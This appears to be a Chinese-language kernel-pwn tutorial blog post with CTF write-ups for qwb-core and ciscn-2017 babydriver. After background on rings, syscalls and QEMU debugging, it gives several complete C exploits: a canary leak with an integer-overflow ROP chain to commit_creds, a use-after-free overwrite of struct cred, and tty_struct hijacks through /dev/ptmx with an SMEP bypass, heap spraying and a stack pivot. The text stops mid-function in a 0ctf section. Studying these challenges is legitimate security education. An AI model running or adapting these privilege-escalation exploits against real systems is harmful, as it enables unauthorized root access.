Kernel PWN 介绍
以前以为 kernel 是个多么深不可测的东西,直到我真正接触它之后,发现它也仅仅是一个功能复杂的软件而已,最近也学习了一些关于内核pwn的知识,整理后发出,也包括我自己学习过程中遇到的各种坑点,希望能对大家有所帮助。
什么是kernel
kernel 是一个软件,它负责跟底层硬件、cpu、memory 进行通信,可以实现用户态程序所不能达到的功能,同时,用户态的程序也运行在内核之上。
Ring Model
intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。
Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。
大多数的现代操作系统只使用了 Ring 0 和 Ring 3。
kernel与用户态程序的区别
如果一个用户态的程序想要拥有root权限,必须由内核赋予,内核记录了每个进程的权限;所以,我们即便pwn到了一个用户的shell,它也不一定有足够的权限来执行程序,也没有办法在用户态为程序提权。
但是在kernel层的控制流劫持,可以让我们进行内核提权,从而拿到程序的最高管理员权限。这也是kernel_pwn的目的之一:内核提权。
如何调用内核
内核模块用被编译为了 .ko 文件,它会在系统启动之后进行加载,等待用户态程序调用(<code>ioctl</code><code>)它时,从 </code>init_module<code> 函数进入,从 </code>exit_core
函数退出。
fd = open("/proc/xxx.ko", O_RDWR);
ioctl(fd, request,...);
内核态与用户态的状态切换
user_space -> kernel
当发生 系统调用
,产生异常
,外设产生中断
等事件时,会发生用户态到内核态的切换,具体的过程为:
- 通过
swapgs
切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。 - 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
- 通过 push 保存各寄存器值,具体的 代码
- 通过汇编指令判断是否为
x32_abi
。 - 通过系统调用号,跳到全局变量
sys_call_table
相应位置继续执行系统调用。
kernel -> user_space
退出时,流程如下:
- 通过
swapgs
恢复 GS 值。 - 通过
sysretq
或者iretq
恢复到用户控件继续执行。如果使用iretq
还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)。
如何开始
qemu
qemu 是必备软件,直接 apt 安装即可,也可源码安装,不过较为复杂。
运行环境
CTF 一般会提供一些重要的文件:
start.sh 启动脚本
其中要注意以下的参数:
-kernel ./bzImage
-initrd ./rootfs.cpio
kaslr
决定镜像是否开启地址随机化。smep
是否允许内核代码跳至用户代码区执行(这个是ret2user
的利用原理,开启smep之后该利用方式失效),是对内核程序的一种保护机制。(可以通过mov rdi, 0x6f0
来关闭该保护)-gdb tcp::1234
gdb调试选项(不必加 -S 参数,否则内核会在启动时便开始等待 gdb 的注入)
bzImage 内核镜像
这是内核打包后的镜像,要对其进行分析,需要先使用 vmlinux-extract 进行解包得到 vmlinux
可用于寻找 ROPgadget。
./extract-vmlinux ./bzImage > vmlinux
rootfs.cpio 文件系统镜像
每次修改 exp 之后需要更新。rootfs.cpio
解压之后,可以得到所有文件,其中根目录有 init
文件,是虚拟机的启动脚本。
在 core 目录运行该命令以解压:
cpio -i --no-absolute-filenames -F ../rootfs.cpio
在 core 目录运行该命令以压缩:
find . | cpio -o --format=newc > ../rootfs.cpio
init 文件
这是内核的启动脚本,里面保存了 kernel 启动时要运行的所有命令,这里要注意几种命令:
-
setuidgid
这是设置用户文件归属权的命令,ID=0000 则为 root,为其他则为用户。(通过设置用户为 root,可以查看各个内核模块的基地址,对调试很有意义)
setuidgid ID /bin/sh
可以通过修改该 id 来达到方便调试的目的(符号文件只能在 root 下看)
-
lsmod
安装内核模块的指令,可以快速定位 .ko 文件的位置。
如何调试
假如我完成了exp,我应该如何进行调试呢?
-
编译
gcc exp.c -o exp --static -masm=intel
-
将 exp 复制进文件夹并打包(一般题目都会给脚本)
当前文件夹
指的是你把内核文件系统解包后所位于的位置find . | cpio -o --format=newc > ../rootfs.cpio
-
从启动脚本启动虚拟机。
-
lsmod
(在qemu中),这一步是为了获取内核模块的基地址,以便为 gdb 添加符号表。(如果基地址为全零,则需要先把内核调为root权限)。 -
gdb 设置
-
设置架构
set architecture i386:x86-64:intel
否则后续调试会出现 instruction too long 的提示。
-
添加符号表
add-symbol-file xxx.ko 0xffffffffc00c3000
现在就可以对内核模块的符号进行引用了。
-
连接 虚拟机
target remote localhost:1234
利用符号表下断点就可以开始调试了。
-
题目练习
qwb-core
core.ko
查看 core.ko
,发现有三种功能
- 向用户输出数据。
-
改变
off
的值,经过观察,这里是改变的 read 函数源地址的偏移。 -
从
name
地址处复制 64字节长度的内存到局部变量v2
中去。
这里我们可以看到,要想 v2
变量溢出,就得使长度大于 63 ,而大于 63 的条件却被 if 判断过滤了。我们观察到 qmemcpy
处 a1 的类型为 int16
,这里就是一个整数溢出,通过传入一个负数长度,我们就可以绕过 if 判断。
-
直接向程序输入数据
这个不需要
ioctl
函数,直接write
即可,数据会保存到name
变量
思路分析
模块开启了 canary
- 通过
read
泄露程序的canary
、vmlinux_base
。 - 利用整数溢出向程序
write
长度超过 64 的payload
,让程序达到ROP的效果。
寻找 vmlinux_base
是一个比较艰难的过程,就是在 canary
之后的地址空间中寻找前缀与 vmlinux
相同的地址数据,根据这个来确定 vmlinux_base
。(大概就是通过真实地址寻找 libc
基址的过程)。
补充: vmlinux_base
和 module_base
拥有不同的基址,如果要使用 .ko 中的 gadget,需要同时泄露 module_base
才行。
vmlinux_base 的取得方法
当时调试这个题的时候尝试了很久,都找不到 vmlinux_base,而且 ida 里面的 vmlinux 符号偏移也都是绝对地址
。
后面才发现, ida 在分析 vmlinux 时将基址默认设置为了 0xffffffff81000000
,减去这个基址就是我们所需函数符号的偏移了。
使用以下命令获取符号地址:
cat /proc/kallsyms | head -10
可以发现,startup_64
就是 vmlinux 的基址。其他的符号偏移直接根据这个减就好。
/ # cat /proc/kallsyms | head -10
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
ffffffffa3400000 T startup_64
ffffffffa3400000 T _stext
ffffffffa3400000 T _text
ffffffffa3400030 T secondary_startup_64
ffffffffa34000e0 T verify_cpu
ffffffffa34001e0 T start_cpu0
ffffffffa34001f0 T __startup_64
ffffffffa3400370 T __startup_secondary_64
exp
因为 kernel pwn
都是使用 c语言编写脚本,所以大多数的内存可以通过 exp
直接访问到,还是比用户态要方便很多。
保存用户态现场
与用户态比较不同的是,我们在返回用户态弹shell 之前,必须要恢复现场,相应的,也要在一开始就保存现场,在程序开始时执行以下代码,保存现场。
u64 user_cs, user_ss, user_rsp, user_flag;
void save_status(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;" // push flag
"pop user_flag;" // pop flag
);
puts("[*] save the state success!");
}
当发生系统调用时,进入内核态之前,首先通过
swapgs
指令将gs
寄存器值与某个特定位置切换(显然回来的时候也一样)、然后把用户栈顶esp
存到独占变量同时也将独占变量里存的内核栈顶给esp
(显然回来的时候也一样)、最后push各寄存器值(由上一条知是存在内核栈里了),这样保存现场的工作就完成了。系统调用执行完了以后就得回用户态,首先
swapgs
恢复gs
,然后执行iretq
恢复用户空间,此处需要注意的是:iretq
需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)
,这些信息在哪的?就是内核栈!想想当时的push啊!
恢复用户态现场
而在 rop 提权完成之后,需要在后面加上如下 payload,以达到恢复现场的目的。
rop[cnt++] = swapgs; //恢复gs寄存器
rop[cnt++] = 0x114514; //这句话是因为 swapgs 的 gadget 后面 pop 了一个值
rop[cnt++] = iretq; //IRET(interrupt return)中断返回,中断服务程序的最后一条指令。
rop[cnt++] = getshell; //返回shell的地址
//以下都是还原标志寄存器、段寄存器的信息
rop[cnt++] = user_cs;
rop[cnt++] = user_flag;
rop[cnt++] = user_rsp;
rop[cnt++] = user_ss;
getroot
当我们劫持到内核控制流时,就可以考虑进行执行 commit_creds(prepare_kernel_cred(0)) 来提升程序权限了。
u64 commit_creds = 0xffffffff810a1420;
u64 prepare_kernel_cred = 0xffffffff810a1810;
void getroot(){
char* (*pkc)(int) = prepare_kernel_cred; // define function pointer pkc
void (*cc)(char*) = commit_creds; // define function pointer cc
(*cc)((*pkc)(0)); // execute commit_creds(prepare_kernel_cred)
}
完整exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define DEV_NAME "/proc/core"
typedef unsigned long long u64;
u64 prepare_kernel_cred;
u64 commit_creds;
void getroot(){
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
void getshell(){
system("/bin/sh");
}
u64 user_cs, user_ss, user_rsp, user_flag;
void read_core(int fd, char *buf){
ioctl(fd, 0x6677889B, buf);
}
void ch_off(int fd, u64 off){
ioctl(fd, 0x6677889C, off);
}
void copy_to_core(int fd, u64 size){
ioctl(fd, 0x6677889A, size);
}
void save_status(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;" // push flag
"pop user_flag;" // pop flag
);
puts("[*] save the state success!");
}
int main(){
u64 buf[0x20], rop[0x50];
save_status();
int fd = open(DEV_NAME, O_RDWR); // open device
ch_off(fd, 0x40);
read_core(fd, buf); // leak canary
u64 canary = buf[0];
u64 core_base = buf[2]-0x19b;
u64 vmlinux_base = buf[4] & 0xfffffffffff00000 - 0x100000;
commit_creds = vmlinux_base + 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
u64 iretq = vmlinux_base + 0x50AC2;
u64 swapgs = vmlinux_base + 0xa012da;
printf("canary:%p\n", canary);
printf("vmlinux_base:%p\n", vmlinux_base);
printf("iretq:%p\n", iretq);
int cnt = 8;
rop[cnt++] = canary;
rop[cnt++] = 0x114514;
rop[cnt++] = getroot;
rop[cnt++] = swapgs;
rop[cnt++] = 0;
rop[cnt++] = iretq;
rop[cnt++] = getshell;
rop[cnt++] = user_cs;
rop[cnt++] = user_flag;
rop[cnt++] = user_rsp;
rop[cnt++] = user_ss;
//rop[cnt++] = 0;
write(fd, rop, 0x8*30);
copy_to_core(fd, 0xf000000000000000 | 0x8*30);
close(fd); // close device
}
ciscn-2017 babydriver
感谢 p4nda 师傅:
http://p4nda.top/2018/10/11/ciscn-2017-babydriver/
babydriver.ko
模块只有一个功能,就是把之前申请好的堆块释放掉,并且申请一个新的堆块,这个堆块的大小是可以由自己控制的。
同时我们可以向这个堆块里去放入数据和取出数据。
分析
但从顺序执行的角度上来看,程序是没有任何问题的,也不会造成任何的 UAF 漏洞。
但是驱动是可以被多个进程或 fd 打开的,如果我们多次打开这个驱动,那么他们所控制的数据块会是同一块,两个描述符都可以用于写入驱动的 babydev_struct.device_buf
如果我们这个时候 kfree 掉某一个描述符,这个 babydev_struct.device_buf 结构体实际上已经被放入了内核的垃圾回收区,但我们仍然可以通过其他的描述符对其进行控制,这个时候如果有一个内核结构体被申请了,那么我们就可以控制这个内核结构体从而达到提权的目的。(前提:这个结构体所用的分配器和 kmalloc 所使用的一样)
struct cred
what
kernel 中记录了每个进程的权限,而这个信息就存放在名为 cred
的结构体中,修改该结构体也就修改了进程权限。
cred
结构体会在进程刚刚打开的时候申请内存并且创建,所以是有可能通过条件竞争进行控制的。
这里有 cred 的详细定义
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
how
这里的 uid 就是进程的权限,如果 uid = 0,那么就达到了内核的提权。这道题利用 UAF 很容易达到。
exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define CRED_SIZE 168
#define DEV_NAME "/dev/babydev"
char buf[100];
int main(){
int fd[2], ret;
memset(buf, 0, sizeof(buf));
fd[0] = open(DEV_NAME, O_RDWR); // open device
fd[1] = open(DEV_NAME, O_RDWR); // open device
ret = ioctl(fd[0], 0x10001, CRED_SIZE); // change size of buf
close(fd[0]); // free buf
int uid = 1000;
int pid = fork(); // kernel will malloc struct cred
if(pid < 0){
perror("fork error");
return 0;
}
if(!pid){
ret = write(fd[1], buf, 28); // modify cred
uid = getuid();
if(!uid){
printf("now I am root\n");
system("/bin/sh");
exit(0);
}else{
printf("failed\n");
exit(0);
}
}else
wait(NULL);
close(fd[1]);
return 0;
}
ptmx
/dev/ptmx 设备是 tty 设备的一种,当使用open函数打开时,通过系统调用进入内核,创建新的文件结构体,并执行驱动设备自实现的open函数。
这个设备被打开的时候,会使用 kzalloc 向内核申请堆块:
<code>tty = kzalloc(sizeof(*tty), GFP_KERNEL);</code>
具体过程可以看 p4nda 师傅的博客:
http://p4nda.top/2018/10/11/ciscn-2017-babydriver/#ptmx%E8%AE%BE%E5%A4%87
大小: 0x2e0
struct tty{
int magic
struct kref kref
struct device * dev
struct tty_driver * driver
struct tty_operations * ops
int index
struct mutex ldisc_mutex
struct tty_ldisc * ldisc
struct mutex legacy_mutex
struct mutex termios_mutex
spinlock_t ctrl_lock
struct ktermios termios termios_locked
struct termiox * termiox
char name [64]
struct pid * pgrp
struct pid * session
unsigned long flags
int count
struct winsize winsize
unsigned char stopped:1
unsigned char hw_stopped:1
unsigned char flow_stopped:1
unsigned char packet:1
unsigned char low_latency:1
unsigned char warned:1
unsigned char ctrl_status
unsigned int receive_room
struct tty_struct * link
struct fasync_struct * fasync
struct tty_bufhead buf
int alt_speed
wait_queue_head_t write_wait
wait_queue_head_t read_wait
struct work_struct hangup_work
void * disc_data
void * driver_data
struct list_head tty_files
unsigned int column
unsigned char lnext:1
unsigned char erasing:1
unsigned char raw:1
unsigned char real_raw:1
unsigned char icanon:1
unsigned char closing:1
unsigned char echo_overrun:1
unsigned short minimum_to_wake
unsigned long overrun_time
int num_overrun
unsigned long process_char_map [256/(8 *sizeof(unsigned long))]
char * read_buf
int read_head
int read_tail
int read_cnt
unsigned long read_flags [N_TTY_BUF_SIZE/(8 *sizeof(unsigned long))]
unsigned char * echo_buf
unsigned int echo_pos
unsigned int echo_cnt
int canon_data
unsigned long canon_head
unsigned int canon_column
struct mutex atomic_read_lock
struct mutex atomic_write_lock
struct mutex output_lock
struct mutex echo_lock
unsigned char * write_buf
int write_cnt
spinlock_t read_lock
struct work_struct SAK_work
struct tty_port * port
}
其中存在 tty_operations 结构体,类似于文件流中的虚表:
https://docs.huihoo.com/doxygen/linux/kernel/3.7/structtty__operations.html
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
//返回对应的tty设备, 若为NULL则返回ERR_PTR, 在tty_mutex函数中调用
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
//install一个tty设备到tty驱动的内部表,与lookup和remove法相关联
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
//从tty驱动的内部表,remove一个关闭了的tty设备,与lookup和remove法相关联
int (*open)(struct tty_struct * tty, struct file * filp);
//当一个特别的tty设备open的时候,将调用该例程;该例程是强制性的,若该例程没有加入operations,open tty的时候将返回ENODEV
//必须使用的方法
void (*close)(struct tty_struct * tty, struct file * filp);
//当tty设备关闭时调用
//必须使用的方法
void (*shutdown)(struct tty_struct *tty);
//在tty在关闭时,若仍持有一个带锁的特殊设备,需要调用该例程,想想我们经常使用的sudo shutdown -r/h/... now就明白了
//它执行在tty设备释放资源之前,所以可能执行在另一个tty设备持有kref的时候
void (*cleanup)(struct tty_struct *tty);
//当一个tty设备在最后一次被关闭和释放资源时,异步地调用该例程,这个例程可以看成shutdown的可休眠的第二部分
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
//写函数,不多说
//可选使用:在需要写的设备中
int (*put_char)(struct tty_struct *tty, unsigned char ch);
//当内核想写单个字符到tty设备时,调用该例程(其实也可以调用write例程,调用时置count为1即可)
//可选使用:若设备在调用时未提供将使用write法
//注意:不要直接调用该例程,而应调用tty_put_char
void (*flush_chars)(struct tty_struct *tty);
//这个例程调用在tty使用put_char输出很多个字符后
//可选
//注意:不要直接调用,调用tty_driver_flush_chars
int (*write_room)(struct tty_struct *tty);
//这个例程返回tty设备将被写入的字符队列长度
//这个数字受输出缓冲区和输出流的变化影响
//当有write函数时需要
//注意:不要直接调用,调用tty_write_room
int (*chars_in_buffer)(struct tty_struct *tty);
//在buffer区中的字符
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
//该例程允许tty设备实施设备特殊的ioctl,若ioctl的数值在cmd中未被设备检测到,将返回ENOIOCTLCMD
//可选
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
//在64位系统中执行32位的ioctl的例程
//可选
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
//该例程在设备的termios设置改变时通知驱动
//可选:在持termios lock的时候调用
void (*throttle)(struct tty_struct * tty);
//当线程规划快满的时候提醒驱动程序,提示不要再输入字符到tty中
//可选:通常在tty_throttle()函数中获得termios lock时调用
void (*unthrottle)(struct tty_struct * tty);
//提醒驱动程序,可以输入字符到tty中,因为线程规划空间够用
//可选:通常在tty_unthrottle()函数中,获得termios lock时调用
void (*stop)(struct tty_struct *tty);
//提醒驱动,停止输出字符
//可选,注意:不是调用stop_tty
void (*start)(struct tty_struct *tty);
//提醒驱动,接着输入字符
//可选,助于:不是调用start_tty
void (*hangup)(struct tty_struct *tty);
//挂起tty,可选
int (*break_ctl)(struct tty_struct *tty, int state);
//打开或关闭RS-232口,state为-1则打开,state为0则关闭
//若该函数执行,则高一级的tty将处理四种ioctls:TCSBRK, TCSBRKP, TIOCSBRK, TIOCCBRK
//如果驱动程序设置了TTY_DRIVER_HARDWARE_BREAK,接着接口将被称作实际时间,而硬件延迟工作
//可选:需要收到TCSBRK/BRKP/etc
void (*flush_buffer)(struct tty_struct *tty);
//在使用put_char()写入一串字符后,该函数被内核调用
//可选
//注意:调用是应为tty_driver_flush_buffer
void (*set_ldisc)(struct tty_struct *tty);
//该例程在设备的termios设置改变时通知驱动
//可选:有BKL (currently)时调用
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
//该例程等待设备将其所有字符写入传输FIFO中
//可选:若设备有FIFO则需要
//注意:通常使用为tty_wait_until_sent
void (*send_xchar)(struct tty_struct *tty, char ch);
//该例程发送一个大端的XON/XOFF给驱动程序
//可选:如果不提供,之后写函数将被原子锁调用来保持它的序列性
int (*tiocmget)(struct tty_struct *tty);
//获得tty的线路设置
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
//设置tty的线路设置
int (*resize)(struct tty_struct *tty, struct winsize *ws);
//当一个termios的请求将改变 请求终端几何(requested terminal geometry)时调用
//可选:默认行为是 无错误地更新termios structure......
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
//当收到一个termiox基于ioctl的信号时调用,将用户空间的请求向下传递
//这个函数只有当tty包含tty->termiox指针的时候才会执行
//可选:持有termios lock的时候调用
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
//当设备收到一个TIOCGICOUNT的信号时调用,将一个内核结构传入使其完成。
//这个函数只有在提供的时候调用,否则将返回EINVAL
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};
攻击方式
现在我们可以劫持这个 tty 结构体,然后又知道 tty 设备打开时会自动执行虚表中的函数,那么我们将 tty_operations 中的相应函数改为 get_root 函数就好了。
不过本攻击方式的前提是程序没有开启 smep 保护,因为它必定要访问用户态中构造的函数。
进阶攻击
如果我们知道所有函数的调用顺序,那就可以构造 ROP ,直接关闭 smep 并且进行栈迁移,从而绕过上面那个方法的局限。
exp1
vmlinux 中存在这样的一个 gadget:
xchg eax, esp; ret;
本意是交换 eax 和 esp 的值,这个指令可以用于栈迁移。但是我找了一下没有 rax 和 rsp xchg gadget,只能退而求其次。这个汇编执行的时候会自动将 eax 、esp 的高位置零,就能比较方便地把栈迁移到用户态中,用户只需 mmap 到指定地内存就可以了。
以下是 p4nda 师傅的 exp,用到了堆喷技术
所谓堆喷,就是我拥有一个堆块的写权限,但是不知道这个堆块什么时候会被系统申请到,我就开大量的相同堆块,期待有一个堆块被我劫持。
这个题就是我能控制一个 0x2e0 大小的堆块,但是我不知道系统什么时候会申请到这个堆块,也就无从得知该从什么地方攻击。如果我申请大量的堆块,那么可能就有一个堆块会被我的 UAF 漏洞攻击到,只要攻击了一个堆块,那么我就攻击成功了。
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
struct _tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};
#define KERNCALL __attribute__((regparm(3)))
void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
size_t swapgs = 0xffffffff81063694;
size_t xchg_esp_eax = 0xFFFFFFFF81007808;//0xffffffff8100008a;
size_t iretq = 0xffffffff814e35ef;
size_t p_rdi = 0xffffffff810d238d;
size_t write_cr4 = 0xFFFFFFFF810635B0;
//unsigned long user_cs, user_ss, user_eflags;
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void getshell(){
system("/bin/sh");
}
void getroot(){
commit_creds= 0xffffffff810a1420;
prepare_kernel_cred =0xffffffff810a1810;
size_t cred = prepare_kernel_cred(0);
commit_creds(cred);
}
struct _tty_operations tty_operations;
char buff[0x1000];
size_t data[0X50];
int main(){
puts("====================start=======================");
tty_operations.ioctl = xchg_esp_eax;
int i;
char *fake_chunk ;
//memset(data,0,0x30);
save_stats();
int fd1=-1,fd2=-1;
int trag[0x100];
fd1 = open("/dev/babydev",O_RDWR);
if (fd1==-1){
puts("fd1 open error");
}
printf("fd: %d",fd1);
fd2 = open("/dev/babydev",O_RDWR);
if (fd2==-1){
puts("fd2 open error");
}
printf("fd: %d",fd2);
puts("\n=================free chunk=====================");
//ioctl(fd1,0x10001,0x2e0);
ioctl(fd2,0x10001,0x3e0);
close(fd2);
puts("\n=================build mem =====================");
fake_chunk = mmap(xchg_esp_eax & 0xfffff000, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("build fake chunk at mem : %llx\n",fake_chunk);
data[0] = p_rdi ;
data[1] = 0x6f0 ;
data[2] = write_cr4 ;
data[3] = getroot;
data[4] = swapgs;
data[5] = fake_chunk+0x1000;
data[6] = iretq;
data[7] = getshell;
data[8] = user_cs;
data[9] = user_eflags;
data[10]= user_sp;
data[11]= user_ss;
memcpy(xchg_esp_eax & 0xffffffff,data,sizeof(data));
puts("\n=================SET VTABLE=====================");
for(i=0;i<0xff;i++){
trag[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (trag[i] <= -1){
puts("open error");
exit(-1);
}
}
i = read(fd1,buff,0x40);
printf("read: %d\n",i);
for (i = 0 ;i <8;i++){
printf("%llx\n",(size_t )*(buff+i*8));
}
*(size_t *)(buff+3*8) = &tty_operations;
write(fd1,buff,0x40);
puts("\n=================trag vul=====================");
for(i=0;i<0xff;i++){
ioctl(trag[i],0,0);
//printf("%d",i);
}
}
exp2
利用 gadget:
mov rsp,rax
能达到一样的效果
但是貌似不用堆喷技术也能成功。。有空了我去仔细了解一下 slab 机制。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
typedef unsigned long long u64;
u64 user_cs,user_ss,user_rsp,user_flag;
u64 commit_creds = 0xffffffff810a1420;
u64 prepare_kernel_cred = 0xffffffff810a1810;
void save_state(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;" // push flag
"pop user_flag;" // pop flag
);
puts("[*] save the state success!");
}
void getshell(){
system("/bin/sh");
}
void getroot(){
char* (*pkc)(int) = prepare_kernel_cred; // define function pointer pkc
void (*cc)(char*) = commit_creds; // define function pointer cc
(*cc)((*pkc)(0)); // execute commit_creds(prepare_kernel_cred)
}
int main(){
save_state();
u64 rop[] = {
getroot,
0xffffffff81063694, // swapgs ; pop rbp ; ret
0,
0xffffffff814e35ef, // iretq; ret;
// IRETQ restores rip, cs, rflags, rsp, and ss from the values saved on the stack
getshell,
user_cs,
user_flag,
user_rsp,
user_ss
};
// fake_tty_opera 前6个 都是rop,第7个用来将栈改为fake_tty_opera
u64 fake_tty_opera[30] = { //伪造的tty_opera
0xffffffff810d238d, // pop rdi ; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
0xffffffff8100ce6e, // pop rax ; ret
rop,
0xFFFFFFFF8181BFC5, // at the first time, kernel will call this
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
0xFFFFFFFF8181BFC5, // mov rsp,rax ; dec ebx ; ret
};
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2); // open the same device twice
ioctl(fd1, 0x10001, 0x2e0); // alloc a chunk of 0x2e0
close(fd1); // close fd1 but leave fd2 for UAF
int fd3 = open("/dev/ptmx", O_RDWR|O_NOCTTY); // open ptmx which will alloc a chunk of 0x2e0
u64 fake_tty_str[3] = {0};
read(fd2, fake_tty_str, 32); // read original tty_struct
fake_tty_str[3] = fake_tty_opera;
write(fd2, fake_tty_str, 32); // replace tty_struct with a fake one
write(fd3, "mrh929", 6); // trigger function
return 0;
}
0ctf-final-baby
baby.ko
signed __int64 __fastcall baby_ioctl(__int64 a1, __int32 ctl_idx, void *a3)
{
char *v3; // rdx
signed __int64 result; // rax
int i; // [rsp-5Ch] [rbp-5Ch]
data *v6; // [rsp-58h] [rbp-58h]
_fentry__(a1, ctl_idx);
